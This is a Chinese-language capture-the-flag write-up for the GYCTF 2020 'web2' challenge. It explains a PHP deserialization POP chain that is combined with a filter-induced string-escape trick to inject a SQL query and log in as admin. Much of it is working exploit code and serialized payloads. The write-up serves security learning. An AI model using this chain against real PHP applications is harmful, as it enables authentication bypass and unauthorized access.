【2020年新春战“疫”】game-gyctf web2
参考https://www.cnblogs.com/aninock/p/15408090.html
说明:看见网上好像没多少人写,刚好玩到这道题了,就写一下吧。
一、利用入口
常规套路发现www.zip然后进行代码审计
index可以包含update,session[login]=1 ,才能获得flag但要检查session
lib.php中设置了session,似乎只有用户admin
可以看到User的验证只针对id和password
所以,只要执行表查询select 1,“c4ca4238a0b923820dcc509a6f75849b” from user where username=?,并且设置name=admin。满足session_id=1,session_token=admin后,session[login]就等于1了,因此必须调用info中的login。
二、构造链条
备注:解析在注释
<?php
class User
{
public $age = null;
public $nickname = null;
public function update()
{
$Info = unserialize($this->getNewinfo());
$age = $Info->age;
$nickname = $Info->nickname;
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo()
{
$age = $_POST['age'];
$nickname = $_POST['nickname'];
return serialize(new Info($age, $nickname));
}
public function __destruct()
{
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __call($name, $argument)
{
echo $this->CtrlCase->login($argument[0]);
}
}
class UpdateHelper
{
public $sql;
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $name;
public $password;
public function login($sql)
{
$this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result = $this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token == 'admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password) !== $passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token'] = $this->name;
return $idResult;
}
}
$users=new User();
$users->update();
#目标:调用info中的login,使其执行select 1,/"c4ca4238a0b923820dcc509a6f75849b/" from user where username=?
#$this->name = $_POST['username'];admin
#$this->password = $_POST['password'];1
#解决问题:判断以toString作为入口
$ud=new UpdateHelper();
$ud->sql=$users;#echo触发tostring
#第一步:另$age为需要执行的sql语句
$users->age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
#第二步:调用Info中的 login
$in=new Info();
$users->nickname=$in;#toString中的update(),Info类不存在从而触发call
#第三步:需要使用的是dbctrl中的login,继续构造链条
$db=new dbCtrl();
$db->name="admin";
$db->password="1";
$in->CtrlCase=$db;
echo serialize($ud);
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
三、字符逃逸(增逃逸)
要从Info的login作为入口,而login(argument[0])是第二个参数,即nickname
注意:__call若传参,则返回不存在的方法名和该方法的参数。
运行一下看看入口原来的输出
O:4:“Info”:3:{s:3:“age”;s:6:“age123”;s:8:“nickname”;s:11:“nickname123”;s:8:“CtrlCase”;N;}
如果是load换成hacker,那么就从
O:4:“Info”:3:{s:3:“age”;s:6:“age123”;s:8:“nickname”;s:4:“load”;s:8:“CtrlCase”;N;}
变成
O:4:“Info”:3:{s:3:“age”;s:6:“age123”;s:8:“nickname”;s:4:“hacker”;s:8:“CtrlCase”;N;}
我需要逃逸274个字符串,那就是说要满足方程
6x=4x+274+闭合字符串(“;s:8:“CtrlCase”;)(17个)+最后的大括号(1个)
2x=292
x=146
所以需要146个"load”
exp
……
echo serialize($ud);
echo "\n";
echo strlen(serialize($ud));
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
echo "\n";
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
$p=new Info();
$p->age="age123";
$m=str_repeat("load",146);
$p->nickname=$m."\";s:8:\"CtrlCase\";".serialize($ud).'}';
echo($p->nickname);
echo "\n";
echo safe(serialize($p));
四、使用Payload
提示10-0就成功调用__toString()了。
在用admin/1登录既可以获得flag了。